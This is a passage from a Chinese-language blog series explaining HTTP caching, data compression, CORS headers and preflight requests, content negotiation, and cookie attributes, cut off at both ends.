no-store标头,指示客户端和所有中间缓存不存储有关客户端请求或服务器响应的任何内容,通常用于敏感数据或对即时性要求非常高的场景。协商缓存:协商缓存是一种通过与服务器协商确定是否需要重新获取资源的缓存策略,协商缓存分为两种:    o 版本协商:使用ETag和If-None-Match等标头进行版本协商缓存。    o 时间协商:使用Last-Modified和If-Modified-Since等标头进行时间协商缓存。当客户端发送请求时,服务器会根据这些标头的值判断是否需要返回新的内容。协商缓存通常用于资源可能发生变化但并不频繁的情况下,主要用于主资源的缓存。缓存破坏:缓存破坏是一种通过指定缓存永久有效,然后修改资源的URL来破坏缓存确保客户端获取最新版本的方法。在每次资源发生变化时,通过更改资源的URL来触发缓存破坏。例如,在资源的URL中添加时间戳、版本号或随机数,以确保每次更改都会导致新的URL,从而绕过缓存。破坏缓存适用于JS、CSS、图像、视频等静态不可变的资源。
0
0
0
浏览量360
爱喝奶茶的波波

【HTTP完全注解】HTTP中的数据压缩

HTTP中的数据压缩数据压缩是HTTP的性能优化机制,它通过压缩数据来减小传输数据的体积,从而提高网络性能,减少网络带宽,并加快页面加载速度。数据压缩的发展在早期HTTP/0.9版本中,由于协议非常简单,其请求内容通常只有一行内容(因此被称为单行协议),响应也只能是HTML文档,因此整个传输体也非常小,大家并未感受到由于传输内容过大导致的网络延迟。但在HTML/1.0极大的丰富了HTTP传输的文件类型以及内容后,请求的内容也从较小的HTML文档发展到了图片、音频、视频等较大的文件,此时由于传输内容过大导致的网络延迟问题也被暴露出来。为解决该问题,HTTP/1.1推出消息体压缩机制——服务器可以使用Gzip、Deflate等压缩算法来压缩HTTP响应的实体主体部分(如HTML、CSS、JavaScript等),然后在响应头中使用"Content-Encoding"字段来指示客户端该响应已经被压缩以及压缩的算法。客户端收到压缩的响应后,会自动解压缩以获取原始内容。数据压缩机制的推出,极大的减缓了网络延迟,对于有些文件与内容来说,会有高达 70% 的压缩比率,这大大的提高了网络性能!但好景不长,HTTP/1.1后Web迎来了飞速发展,网页愈渐变得的复杂,甚至演变成了独有的应用,可见媒体的播放量,增进交互的脚本大小也增加了许多。同时这也意味着HTTP传输的内容越变越多、越变越大,但HTTP是又是一种无状态的协议。简而言之,这意味着每个请求必须要携带服务器需要的所有细节,而不是让服务器保存住之前请求的元数据,这导致许多请求和响应头部会携带一些冗余的一摸一样的信息,然而这些消息头在Web发展的同时,承载的信息却越来越多,例如用户个人信息、用户行为等,有些时候甚至消息头的数据大小远远大于消息体的数据大小,这也致使带宽使用和延迟不断增加。为了克服这个问题,HTTP/2引入了头部压缩机制——该机制使用了HPACK算法对头部信息进行压缩,通过建立头部字段表,有效减小了头部的大小,提高了传输效率。由于HTTP/2的头部压缩是自动完成的,因此作为开发者的我们并不需要专门学习,所以下文只是介绍了HTTP/1.1中消息体压缩的工作流程与使用方法。端到端压缩端到端压缩技术指的是消息主体的压缩是在服务器端完成的,并且在传输过程中保持不变,直到抵达客户端。不管途中遇到什么样的中间节点,它们都会使消息主体保持原样。端到端压缩工作流程:客户端发送请求时会自动携带Accept-Encoding请求标头,其中包含有它所支持的压缩算法,以及各自的优先级。服务器收到请求后会从中选择一种,并使用该算法对响应的消息主体进行压缩,并且发送 Content-Encoding响应标头来告知浏览器它选择了哪一种算法。响应经过中间代理节点/服务器时保持不变,直到抵达客户端。客户端收到响应后会根据Content-Encoding响应标头中选择的算法来对响应体进行还原,从而拿到响应内容。逐跳压缩逐跳压缩技术是对客户端与服务器端之间的任意两个节点之间传递的消息的主体的压缩,且在两个相邻的中间节点之间的连接上,可能会采用不同的压缩方式。逐跳压缩工作流程:客户端正常发送请求,不会携带任何压缩算法标头。请求达到第一个中间服务器自动携带TE请求标头转发请求,其中包含有它所支持的压缩算法,以及各自的优先级。请求达到第二个中间服务器去除相关压缩算法标头,正常转发请求服务端正常处理请求并响应响应达到第二个中间服务器,会从第一个中间服务器提供的压缩算法中选择一种,并使用该算法对响应的消息主体进行压缩,并且携带 Content-Encoding响应标头来告知选择了哪一种算法,转发响应。响应到达第一个中间服务器根据Transfer-Encoding 响应标头中选择的算法来对响应体进行还原,继续转发响应客户端正常收取处理响应常见的压缩算法目前HTTP数据压缩机制常见的压缩算法如下:gzip(GNU zip): 使用DEFLATE算法,是Web服务器中最常见的压缩算法,适用于文本文件,如HTML、CSS、JavaScript等。deflate: 也使用DEFLATE算法,但与gzip不同的是,它没有使用gzip的文件头和尾,使得数据包更小,由于与一些旧的客户端和服务器不兼容所以不太常见。br(Brotli): Brotli是由Google开发的一种新的压缩算法,通常提供比gzip更好的压缩比,在支持Brotli的情况下,应该使用它作为首选的压缩算法。compress: 是一种基于 Lempel-Ziv-Welch (LZW) 算法的压缩方法。这种算法在 HTTP 数据压缩机制中曾经被广泛使用,但由于专利问题,现在已经相对较少见。相关标头Accept-Encoding 请求标头请求头 Accept-Encoding 将客户端能够理解与支持的压缩算法告知给服务端。通过内容协商的方式,服务端会选择一个客户端提出的压缩算法,将响应主体内容进行压缩并使用 Content-Encoding响应头告知客户端自己选择的压缩算法。参数[ <compress-algorithm>;q=<q>, <compress-algorithm>,.......]    指定一系列客户端支持的压缩算法(<compress-algorithm>),以及优先级(q=<q>,可选),压缩算法与优先级使用分号(;)分隔,压缩算法之间使用逗号(,)分隔。<compress-algorithm>:    gzip:表示支持 Lempel-Ziv coding (LZ77) 压缩算法,以及 32 位 CRC 校验的编码方式。    compress :表示支持 Lempel-Ziv-Welch (LZW) 压缩算法。    deflate :表示支持 zlib 结构和 deflate 压缩算法。    br :表示支持 Brotli 算法的编码方式。    identity :表示支持不压缩。    *:匹配其他任意未在该请求头字段中列出的编码方式。假如该请求头字段不存在的话,这个值是默认值。它并不代表任意算法都支持,而仅仅表示算法之间无优先次序。<q> 可选 :小数0到1,代表算法的优先顺序,又称为权重。示例Accept-Encoding: gzip Accept-Encoding: * Accept-Encoding: gzip, compress, br Accept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1Content-Encoding 响应标头响应标头Content-Encoding 列出了对当前响应体应用的所有压缩算法以及其编码顺序。它让客户端知道需要以何种算法以及顺序解码该响应体以获得原始数据。参数[ <compress-algorithm>, <compress-algorithm>,.......]    指定一系列的压缩算法(<compress-algorithm>),其前后顺序则表明了编码顺序。<compress-algorithm>:   。gzip:表示支持 Lempel-Ziv coding (LZ77) 压缩算法,以及 32 位 CRC 校验的编码方式。    。compress :表示支持 Lempel-Ziv-Welch (LZW) 压缩算法。    。deflate :表示支持 zlib 结构和 deflate 压缩算法。    。br :表示支持 Brotli 算法的编码方式。    。identity :表示支持不压缩。示例Content-Encoding: deflate Content-Encoding: br Content-Encoding: deflate, gzip
0
0
0
浏览量1167
爱喝奶茶的波波

【HTTP完全注解】又跨域了?一文解释清楚跨源资源共享(cors)

又跨域了?一文解释清楚跨源资源共享(cors)为确保在Web浏览器中来自不同源的网页或脚本不能随意访问和操纵其他源的资源和数据,保障网站只能在受信任的环境中访问和共享数据,HTTP引入了同源策略(Same Origin Policy,简称SOP)。同源策略的出现极大的增强了Web的安全性并有效的防止了CSRF攻击,但也随之带来了许多开发上的问题与麻烦,特别是当我们需要在与不同源(不同域名、不同协议、不同端口)的资源进行通信和访问时尤为明显,比如下面这个例子:wangjunliang.com需要请求访问wangawang.com的内容,由于同源机制的存在, XMLHttpRequest(XHR)或 Fetch API是不允许发起跨域的请求的,当然我们可以通过代理或Jsonp的方式来解决,但每次搭建代理过于麻烦并且维护成本很大,而Jsonp呢?则是存在很多潜在的安全风险,容易被攻击者利用。综上所述,HTTP急需引入一种安全的、高效的、标准化的跨源访问机制,于是乎跨源资源共享(Cross Origin Resource Sharing,简称CORS) 机制则诞生了跨源资源共享跨域资源共享(Cross-Origin Resource Sharing,CORS)是一种网络安全机制,用于在Web应用中控制跨域请求的访问权限,允许 Web 对不同源的服务器进行跨源资源访问,并使跨源数据传输得以安全进行CORS机制通过一系列的请求标头来表明该跨域请求的来源、方法以及所携带请求头部(这些请求标头无需自己配置,由浏览器自动携带),服务端接收请求后通过这些请求标头来判断是否允许这些源访问加载自己的资源,并返回一系列的响应标头告知相关信息。 由于CORS机制的相关请求标头都是浏览器自动携带的,因此CORS机制的配置通常发生在服务端而不是客户端,服务端需要通过适当配置 HTTP 响应标头来允许或拒绝跨域请求CORS相关请求标头CORS机制的相关请求标头都是浏览器自动携带的,无须手动设置Origin请求标头Origin表示了请求的来源(协议、主机、端口)参数该请求标头并无其他参数取值null    请求的来源是“隐私敏感”的,或者是 HTML 规范定义的不透明来源< scheme>://< hostname>    请求的协议+源站的域名或 IP 地址< scheme>://< hostname>:< port>    请求的协议+源站的域名或IP地址+端口号(缺省为服务器的默认端口)示例Origin: https://wangjunliang.com Origin: https://wangjunliang.com:80Access-Control-Request-Method请求标头Access-Control-Request-Method 表示真正的请求会采用的请求方法,该请求标头出现于 preflight request(预检请求)中,因为预检请求所使用的方法总是OPTIONS ,与实际请求所使用的方法不一样,所以使用该请求头通知服务器在真正的请求中会采用哪种HTTP 方法参数    该请求标头并无其他参数取值<method>    一种HTTP的请求方法,如:GET、POST或DELETE等,表示真正的请求会采用的请求方法示例Access-Control-Request-Method:GET Access-Control-Request-Method: POSTAccess-Control-Request-Headers请求标头Access-Control-Request-Headers 表示真正的请求会携带的请求标头,该请求标头出现于 preflight request(预检请求)中,因为预检请求所使用的方法总是 OPTIONS,与实际请求所携带的请求标头不一样,所以使用该请求头通知服务器在真正的请求中会携带哪些请求标头参数    该请求标头并无其他参数取值[<header-name>,<header-name>,<header-name>...]    一系列HTTP请求标头,以逗号分隔,表示真正的请求会携带的请求标头示例Access-Control-Request-Headers: X-PINGOTHER, Content-Type Access-Control-Request-Headers: X-ADC, Content-TypeCORS相关响应标头CORS机制主要通过服务端适当配置 HTTP 响应标头来允许或拒绝跨域请求Access-Control-Allow-Origin响应标头Access-Control-Allow-Origin 响应标头指定了该资源能否被给定的来源(Origin请求标头)的请求访问参数    该响应标头并无其他参数取值*    允许任意来源的请求访问资源(当使用*来响应包含凭据的请求会导致错误)<scheme>://<hostname>:<port>    指定一个来源(只能指定一个),协议+源站的域名或IP地址+端口号(缺省为服务器的默认端口)。仅允许该来源的请求访问资源null    仅允许来源为null的请求访问资源示例Access-Control-Allow-Origin: * Access-Control-Allow-Origin: https://wangjunliang.comAccess-Control-Allow-Methods响应标头Access-Control-Allow-Methods表示客户端所要访问的资源允许使用的请求方法参数    该响应标头并无其他参数取值*    当请求没有携带凭据(请求没有Cookie或认证信息),允许所有请求方法访问资源;当请求带有凭据时,会被简单地当作值“*”,没有特殊的语义[<method>,<method>,<method>...]    一系列HTTP请求方法,以逗号分隔,表示访问的资源允许使用的请求方法示例Access-Control-Allow-Methods: * Access-Control-Allow-Methods: POST, GET, OPTIONSAccess-Control-Allow-Headers响应标头Access-Control-Allow-Headers表示客户端所要访问的资源允许使用的请求标头,CORS 安全列表的标头无需特意列出,它始终被支持参数    该响应标头并无其他参数取值*    当请求没有携带凭据(请求没有Cookie或认证信息),允许携带任何请求标头的请求访问资源;当请求带有凭据时,会被简单地当作值“*”,没有特殊的语义[<header-name>,<header-name>,<header-name>...]    一系列HTTP请求标头,以逗号分隔,表示访问的资源允许使用的请求标头示例Access-Control-Allow-Headers: * Access-Control-Allow-Headers: X-Custom-Header, Upgrade-Insecure-RequestsAccess-Control-Max-Age响应标头Access-Control-Max-Age 表示 preflight request (预检请求)的返回结果(即 Access-Control-Allow-Methods 和Access-Control-Allow-Headers提供的信息)可以被缓存多久。 该标头仅能控制 preflight request (预检请求)的响应的缓存时间,对于简单的跨源请求的缓存策略通常由HTTP缓存头部(如Cache-Control、Expires等)来控制参数    该响应标头并无其他参数取值<seconds>    返回结果可以被缓存的最长时间(秒)。 在 Firefox 中,上限是 24 小时 (即 86400 秒)。 在 Chromium v76 之前, 上限是 10 分钟(即 600 秒)。 从 Chromium v76 开始,上限是 2 小时(即 7200 秒)。 Chromium 同时规定了一个默认值 5 秒。 如果值为 -1,表示禁用缓存,则每次请求前都需要使用 OPTIONS 预检请求。示例Access-Control-Max-Age: 60 //1分钟 Access-Control-Max-Age: 600 //10分钟Access-Control-Expose-Headers响应标头Access-Control-Expose-Headers 允许服务器指示那些响应标头可以暴露给浏览器中运行的脚本,以响应跨源请求。在跨源访问时,XMLHttpRequest 对象的 getResponseHeader() 方法只能拿到CORS 安全列表的响应标头,如:Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma等,如果想要让客户端可以访问到其他的标头,服务器必须将它们在 Access-Control-Expose-Headers 里面列出来参数    该响应标头并无其他参数取值*    当请求没有携带凭据(请求没有Cookie或认证信息),浏览器中运行的脚本允许访问所有响应标头;当请求带有凭据,会被简单地当作值“*”,没有特殊的语义[<header-name>,<header-name>,<header-name>...]    一系列HTTP响应标头,以逗号分隔,表示哪些响应标头可以暴露给浏览器中运行的脚本示例Access-Control-Expose-Headers: Content-Encoding Access-Control-Expose-Headers: Content-Encoding, Kuma-RevisionAccess-Control-Allow-Credentials响应标头Access-Control-Allow-Credentials 表示客户端所要访问的资源是否允许使用credentials(认证信息,如:cookie等),参数    该响应标头并无其他参数取值true    这个头的唯一有效值(区分大小写)。如果不需要 credentials,相比将其设为 false,请直接忽视这个头。示例Access-Control-Allow-Credentials: true复杂请求与简单请求由于同源策略对于XHR/Fetch API的约束为:请求可以发送到不同来源的服务器,服务端能够接收并处理,只是前端无法读取返回数据。因此我们必须对可能对服务器数据产生副作用的 HTTP 请求方法采取必要的验证手段,不然任何修改数据的跨源攻击都能被发送到服务器并且被正确处理,而攻击者仅仅是不能够得到请求返回内容而已。对此CORS将请求分为了简单请求与复杂请求,对于简单请求而言,只要满足CORS相关规则即可进行跨域访问;但对于复杂请求而言,浏览器必须首先使用 OPTIONS 方法发起一个预检请求(preflight request),从而获知服务端是否允许该跨源请求,服务器确认允许之后,才发起实际的 HTTP 请求。简单请求满足所有下述条件,则该请求可视为简单请求:使用以下方法之一:    GET、HEAD、POST仅使用了浏览器自动设置的标头、 Fetch 规范中定义为禁用标头名称的标头以及CORS安全的标头字段集合中的标头,例如:    Accept、Accept-Language、Content-Language、Content-Type、RangeContent-Type仅限于下列三者之一:    text/plain、multipart/form-data、application/x-www-form-urlencoded如果请求是使用 XMLHttpRequest 对象发出的,在返回的 XMLHttpRequest.upload 对象属性上没有注册任何事件监听器;也就是说,给定一个 XMLHttpRequest 实例 xhr,没有调用 xhr.upload.addEventListener(),以监听该上传请求请求中没有使用 ReadableStream对象对于简单请求而言,只要满足CORS相关标头即可进行跨域访问假如站点 wangjunliang.com 的网页想要访问 wangawang.com 的资源,并发起的是简单请求,此时请求只要满足了服务端相关CORS的响应标头配置,请求则能正常访问资源,以下为客户端与服务器端交互示例客户端wangjunliang.com 向服务端 wangawang.com 发起了一个跨源请求,由于该请求满足简单请求的条件,因此浏览器将发起一个简单请求,并且该请求还携带了Cookie信息。由于服务端允许该源访问并且允许携带Cookie信息,因此服务器会正常处理并响应请求内容,其中响应头中Access-control-Allow-Origin包含了允许访问该资源的源列表,Access-Control-Allow-Credentials为true表示允许携带Cookie等身份认证头。复杂请求当请求不满足简单请求的条件时,则为复杂请求。与简单请求不同,对于复杂请求浏览器会首先使用 OPTIONS方法自动发起一个预检请求到服务器,以获知服务器是否允许该实际请求。 由于同源策略对于XHR/Fetch API的约束为:请求可以发送到不同来源的服务器,服务端能够接收并处理,只是前端无法读取返回数据。因此我们必须对可能对服务器数据产生副作用的 HTTP 请求方法进行"预检“,避免跨域请求对服务器的数据产生未预期的影响。以下是一个需要执行预检的跨源访问例子:客户端wangjunliang.com 向服务端 wangawang.com 发起了一个跨源请求,由于该请求需要携带两个自定义的标头(X-PINGOTHER 与 Content-Type),因此该请求是一个复杂请求,浏览器将首先发起一个预检请求。预检请求将自动携带标头字段 Access-Control-Request-Method 告知服务器,实际请求将使用 POST 方法、标头字段Access-Control-Request-Headers 告知服务器,实际请求将携带两个自定义请求标头字段:X-PINGOTHER 与 Content-Type。服务器据此决定,该实际请求是否被允许如果服务器允许该请求,就会如上图所示返回相应的响应内容:    . Access-Control-Allow-Origin: https://wangjunliang.com表示允许wangjunliang.com访问该资源    .Access-Control-Allow-Methods 表示允许客户端使用 POST 和 GET 方法发起请求    .Access-Control-Allow-Headers 表示允许请求中携带字段 X-PINGOTHER 与 Content-Type标头    .Access-Control-Max-Age 给定了该预检请求可供缓存的时间长短,单位为秒,默认值是 5 秒。在有效时间内,浏览器无须为同一请求再次发起预检请求。以上例子中,该响应的有效时间为 86400 秒,也就是 24 小时。请注意,浏览器自身维护了一个最大有效时间,如果该标头字段的值超过了最大有效时间,将不会生效最后预检请求完成之后,客户端发送实际请求,服务端根据请求处理响应即完成需要注意的地方当携带了Cookie等认证信息的跨源请求,响应标头Access-Control-Allow-Origin、Access-Control-Allow-methods、Access-Control-Allow-heders、Access-Control-Expose-Headers都不能为*当简单请求携带了Cookie等认证信息,如果响应中缺失 Access-Control-Allow-Credentials: true响应标头,则响应内容会被忽略,不会提供给 web ;如果存在该响应标头,则必须携带Cookie等认证信息。当复杂请求的预检响应中缺失 Access-Control-Allow-Credentials: true响应标头,实际请求则不能携带Cookie等认证信息,如果存在,实际请求则必须携带Cookie等认证信息携带Authorization请求标头会把简单请求变为复杂请求
0
0
0
浏览量1709
爱喝奶茶的波波

【HTTP完全注解】内容协商

内容协商在HTTP协议中,内容协商是一种用于为同一URI 提供资源不同的表示形式(如语言、字符集、媒体类型等)的机制,该机制能够让用户获得最合适的资源表现内容。例如对于中文用户请求某一URI内容,服务器将返回该资源的中文形式;而英语用户请求同一资源时,则会返回该资源的英文形式。内容协商的分类HTTP内容协商分为了主动内容协商与响应式协商,主动协商由客户端发起,通过在请求中设置特定的请求标头来进行;响应式协商则有服务端发起,通过返回特定的响应状态码来进行。主动内容协商客户端在发送请求时会携带一系列内容协商的请求标头,这些标头描述了用户倾向的选择。服务器收到请求后会根据这些标头来选择最佳的资源表现形式返回给客户端,如果它不能提供一个合适的资源,它可能使用 406(Not Acceptable)、415(Unsupported Media Type)进行响应并为其支持的媒体类型设置标头。目前HTTP内容协商机制有对内容类型的协商(使用标头Accept)、对内容字符编码的协商 (使用标头Accept-Charset)、对内容语言的协商(使用标头Accept-Language)以及对压缩算法的协商(使用标头Accept-Encoding)这四种协商方式。内容类型协商(Accept/Content-Type)内容类型协商使用Accept请求头来告知(服务器)客户端期待的内容类型,这种内容类型用MIME 类型来表示。服务器收到请求后会根据Accept提供的内容类型来匹配该资源合适的类型进行响应,并使用 Content-Type实体头通知客户端它的选择。如果该资源没有匹配的类型,将会返回一个415(Unsupported Media Type,不支持的媒体类型)的错误码。浏览器会为这个请求头自动设置合适的值,比如在获取一个 CSS 层叠样式表、图片、视频或脚本文件时会自动设置相应的MIME类型。//请求使用Accpet告知(服务器)客户端期待的内容类型为HTML文档 Accept: text/html //响应使用Content-Type告知客户端它的选择 Content-Type: text/html字符编码协商(Accept-Charset/Content-Type)字符编码协商使用Accept-Charset 请求头来告知(服务器)客户端可以处理的字符集类型。服务器收到请求后会根据Accept-Charset提供的字符编码来匹配该资源合适的编码版本进行响应,并使用 Content-Type实体头通知客户端它的选择。如果服务器不能提供任何可以匹配的字符集的版本,那么理论上来说应该返回一个406(Not Acceptable,不被接受)的错误码。但是为了更好的用户体验,这种方法很少采用,取而代之的是将其忽略。//请求使用Accept-Charset告知(服务器)客户端可以处理的字符集类型为utf-8 Accept-Charset:utf-8 //响应使用Content-Type告知客户端它的选择 Content-Type: text/html; charset=utf-8语言协商(Accept-Language/ Content-Language)语言协商使用 Accept-Language 请求头来告知(服务器)客户端能够理解的自然语言,以及优先选择的区域方言。服务器收到请求后会根据客户端的提议匹配该资源合适的语言版本进行响应,并使用 Content-Language实体头通知客户端它的选择。如果服务器不能提供任何可以匹配的语言的版本,那么理论上来说应该返回一个406(Not Acceptable,不被接受)的错误码。但是为了更好的用户体验,这种方法很少被采用,取而代之的是将其忽略。浏览器会基于其用户界面语言为这个请求头自动设置合适的值。//请求使用Accept-Language告知(服务器)客户端能够理解的自然语言为中文简体 Accept-Language:zh-CN //响应使用Content-Language告知客户端它的选择 Content-Language:zh-CN压缩算法协商(Accept-Encoding/Content-Encoding)压缩算法协商使用 Accept-Encoding 请求头来告知(服务器)客户端能够理解的内容编码方式——通常是某种压缩算法。服务器收到请求后会选择一个客户端提议的压缩算法应用,使用并在实体头Content-Encoding中通知客户端该选择。只要没有被明确禁止使用压缩算法,则服务器不会返回406(Not Acceptable,不被接受)的错误码;否则,无法匹配则会返回该错误码。浏览器会为这个请求头自动设置合适的值。//请求使用Accept-Encoding告知(服务器)客户端能够理解的内容编码方式gzip Accept-Encoding:gzip //响应使用Content-Encoding告知客户端它的选择 Content-Encoding:gzip虽然主动内容协商机制是最常用的协商方式,但它也存在如下几个缺点:服务器对客户端并非全知全能。即便是有了客户端提示扩展,也依然无法获取关于客户端的全部信息。与客户端进行选择的响应式内容协商机制不同,服务器端的选择总是显得有点武断。客户端提供的信息相当冗长(HTTP/2 协议的标头压缩机制缓解了这个问题),并且存在隐私风险。给定的资源需要返回不同的表示形式,共享缓存的效率会降低,并且服务器端的实现会越来越复杂。响应式内容协商从 HTTP 协议制定之初,该协议就准许另外一种协商机制——响应式协商。在这种协商机制中,当面临不明确的请求时,服务器会返回一个页面,其中包含了可供选择的资源的链接。资源呈现给用户,由用户做出选择。不幸的是,由于 HTTP 标准没有明确指定可选资源链接的页面的格式,以及相关实现的具体细节,因此该种协商方式的实现无一例外都是通过脚本技术来完成的,尤其是 JavaScript 重定向技术。也正是如此,该种协商方式没有获得人们的认可从而被逐渐遗弃。相关标头Accept 请求标头Accept 请求头用来告知(服务器)客户端可以处理的内容类型,这种内容类型用MIME 类型来表示。参数该请求标头并无其他参数。取值[ <MIME-type>/<MIME-subtype>;q=<q>, <MIME-type>/*,*/*,.......]    指定一系列客户端期望的内容类型,这种内容类型用MIME 类型来表示,使用逗号(,)分割。        o <MIME-type>/<MIME-subtype>: 指定单一精确的 MIME 类型,例如text/html.        o <MIME-type>/*: 一类 MIME 类型,但是没有指明子类。image/* 可以用来指代 image/png、image/svg、image/gif 以及任何其他的图片类型。        o */*: 任意类型的 MIME 类型。        o <q> 可选 :小数0到1,代表期望的内容类型的优先顺序,又称为权重。示例Accept: text/html Accept: image/* Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Content-Type 实体标头实体标头Content-Type描述了请求或响应中消息体的内容类型(这种内容类型用MIME 类型来表示)以及字符编码方式。参数<MIME-type>    指定一个MIME 类型,描述了请求或响应中消息体的内容类型。charset=<charset> 可选    指定一个字符编码,描述了请求或响应中消息体的字符编码方式。boundary=<boundary> 可选    对于多部分实体,boundary 是必需的,它指定了多个实体间的分隔符,以便将不同的部分(body parts)分隔开。示例Content-Type: text/html; charset=utf-8 Content-Type: multipart/form-data; boundary=somethingAccept-Charset 请求标头Accept-Charset 请求头用来告知(服务器)客户端可以处理的字符集类型。参数该请求标头并无其他参数。取值[ <charset>;q=<q>, <charset>,*,.......]    指定一系列客户端可以处理的字符集类型,使用逗号(,)分割。        o <charset>: 指定字符集类型,诸如 utf-8 或 iso-8859-15 等。        o *: 任意字符集内容        o <q> 可选 :小数0到1,代表字符集类型的优先顺序,又称为权重示例Accept-Charset: iso-8859-1 Accept-Charset: utf-8, iso-8859-1;q=0.5 Accept-Charset: utf-8, iso-8859-1;q=0.5, *;q=0.1Accept-Language 请求标头Accept-Language 请求头用来告知(服务器)客户端可以理解的自然语言类型,以及优先选择的区域方言。参数该请求标头并无其他参数。取值[ <language>;q=<q>, <language>,*,.......]    指定一系列客户端可以理解的自然语言类型,使用逗号(,)分割。        o <language>: 指定自然语言类型,诸如 en-US 或 zh-CN 等。        o *: 任意语言        o <q> 可选 :小数0到1,代表自然语言类型的优先顺序,又称为权重示例Accept-Language: zh-CN Accept-Language: en-US,en;q=0.5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Language 实体标头实体标头Content-Language描述了请求或响应中消息体中的内容采用的语言或语言组合。参数该实体标头并无其他参数。取值[ <language>, <language>,.......]    指定一系列的自然语言类型,诸如 en-US 或 zh-CN 等,使用逗号(,)分割。示例Content-Language: zh-CN Content-Language: en-US Content-Language: de-DE, en-CAAccept-Encoding 请求标头请求头 Accept-Encoding 将客户端能够理解与支持的压缩算法告知给服务端。通过内容协商的方式,服务端会选择一个客户端提出的压缩算法,将响应主体内容进行压缩并使用 Content-Encoding响应头告知客户端自己选择的压缩算法。参数该请求标头并无其他参数。取值[ <compress-algorithm>;q=<q>, <compress-algorithm>,.......]    指定一系列客户端支持的压缩算法(<compress-algorithm>),以及优先级(q=<q>,可选),压缩算法与优先级使用分号(;)分隔,压缩算法之间使用逗号(,)分隔。<compress-algorithm>:    o gzip:表示支持 Lempel-Ziv coding (LZ77) 压缩算法,以及 32 位 CRC 校验的编码方式。    o compress :表示支持 Lempel-Ziv-Welch (LZW) 压缩算法。    o deflate :表示支持 zlib 结构和 deflate 压缩算法。    o br :表示支持 Brotli 算法的编码方式。    o identity :表示支持不压缩。    o *:匹配其他任意未在该请求头字段中列出的编码方式。假如该请求头字段不存在的话,这个值是默认值。它并不代表任意算法都支持,而仅仅表示算法之间无优先次序。<q> 可选 :小数0到1,代表算法的优先顺序,又称为权重。示例Accept-Encoding: gzip Accept-Encoding: * Accept-Encoding: gzip, compress, br Accept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1Content-Encoding 实体标头实体标头Content-Encoding 列出了对当前请求或响应的消息体内容使用的压缩算法以及其编码顺序。参数该实体标头并无其他参数。取值[ <compress-algorithm>, <compress-algorithm>,.......]    指定一系列的压缩算法(<compress-algorithm>),其前后顺序则表明了编码顺序。<compress-algorithm>:    o gzip:表示支持 Lempel-Ziv coding (LZ77) 压缩算法,以及 32 位 CRC 校验的编码方式。    o compress :表示支持 Lempel-Ziv-Welch (LZW) 压缩算法。    o deflate :表示支持 zlib 结构和 deflate 压缩算法。    o br :表示支持 Brotli 算法的编码方式。    o identity :表示支持不压缩。示例Content-Encoding: deflate Content-Encoding: br Content-Encoding: deflate, gzip
0
0
0
浏览量753
爱喝奶茶的波波

【HTTP完全注解】一文重新认识Cookie

一文重新认识CookieCookie是服务器发送到用户浏览器并保存在本地的一小块文本数据,浏览器会存储 Cookie 并在下次向同一服务器再发起请求时携带并发送到服务器上,用于跟踪用户与网站的互动、存储用户相关信息以及保持用户状态等,Cookie 使基于无状态的 HTTP 协议记录稳定的状态信息成为了可能。Cookie的运行方式Cookie的运行主要依赖于HTTP的Set-Cookie响应标头(服务器发送创建的Cookie)以及Cookie请求标头(客户端携带保存的Cookie),其运行步骤如下:    · 服务器创建Cookie: 服务器在收到 HTTP 请求后将创建Cookie并记录用户相关信息,最后通过在响应中添加一个或多个 Set-Cookie响应头,将Cookie发送给客户端    · 客户端保存Cookie: 客户端收到响应后,浏览器会自动将Set-Cookie中的内容保存起来    · 客户端再次发起请求,浏览器自动携带Cookie: 等到客户端再次向同一服务器发出请求时,浏览器会自动将保存的Cookie内容放在Cookie请求头内,发送给服务器    · 服务器根据Cookie识别身份: 服务器在收到请求后,可以根据请求中的 Cookie 数据来识别用户,继续用户的会话,或根据需要执行其他操作,以保持状态从上述描述中我们都应该清楚了Cookie的运行主要依赖于HTTP的Set-Cookie响应标头以及Cookie请求标头,那么下面我们详细学习下这两个标头的具体内容。Set-cookie响应标头响应标头 Set-Cookie 被用来由服务器端向客户端发送 Cookie,以便于客户端在后续的请求中将其发送回服务器识别身份使用。服务器如果要发送多个 cookie,则应该在同一响应中设置多个 Set-Cookie 标头。参数<cookie-name>=<cookie-value>    一个有名称与值组成的键值对,用于表示需要传输的Cookie的名称以及值Expires=<date> 可选    用于指定cookie 的有效时间(取值格式例如:Wed, 21 Oct 2015 07:28:00 GMT),如果没有设置这个属性,那么表示这是一个会话期 cookie。一个会话结束于客户端被关闭时,这意味着会话期 cookie 会在客户端被关闭时移除。Max-Age=<number> 可选    用于指定Cookie经过多少秒后失效,秒数为 0 或 -1 将会使 cookie 直接过期。假如 Expires 和 Max-Age 属性均存在,那么 Max-Age 的优先级更高,Max-Age属性的出现就是为了解决Expires属性设置的时间仅与客户端时间相关的问题。Domain=<domain-value> 可选    用于指定Cookie存放的域名,以及哪些主机可以发送 Cookie。如果不指定,该属性默认为当前文档访问地址中的主机部分(也就是请求中的Host标头),不包含子域名。如果指定了 Domain,则一般包含子域名。因此,指定 Domain 比省略它的限制要少。但是,当子域需要共享有关用户的信息时,这可能会有所帮助。Path=<path-value> 可选    该属性指定了一个 URL 路径,用于指定Cookie存放的域的路径,以及哪些URL路径可以发送 Cookie。表示这个URL路径必须出现在请求的资源的路径中浏览器才会发送 Cookie 标头,URL路径以字符/ 作为路径分隔符,并且子路径也会被匹配,例如,设置 Path=/docs,则以下地址都会匹配:/docs、/docs/、/docs/Web/、/docs/Web/HTTPSecure 可选    指定只有在请求使用 https: 协议(localhost 不受此限制)的时候才会被发送到服务器,以此阻止中间人攻击获取Cookie。HttpOnly 可选    用于阻止 JavaScript 通过 Document.cookie属性访问 cookie。注意,设置了 HttpOnly 的 cookie 在 js的请求中仍然会被发送,例如,调用 XMLHttpRequest.send() 或 fetch()。该属性主要其用于防范跨站脚本攻击(XSS)窃取Cookie。SameSite=<samesite-value> 可选    指定 cookie 是否能够随着跨站请求一起发送,这样可以在一定程度上防范跨站请求伪造攻击。可选的属性值有:    o Strict:浏览器在同源的请求才会携带Cookie,浏览器仅对同一站点的请求发送 cookie,即请求来自设置 cookie 的站点。如果请求不同源,即来自不同的域或协议(即使是相同域),则携带有 SameSite=Strict 属性的 cookie 将不会被发送。    o 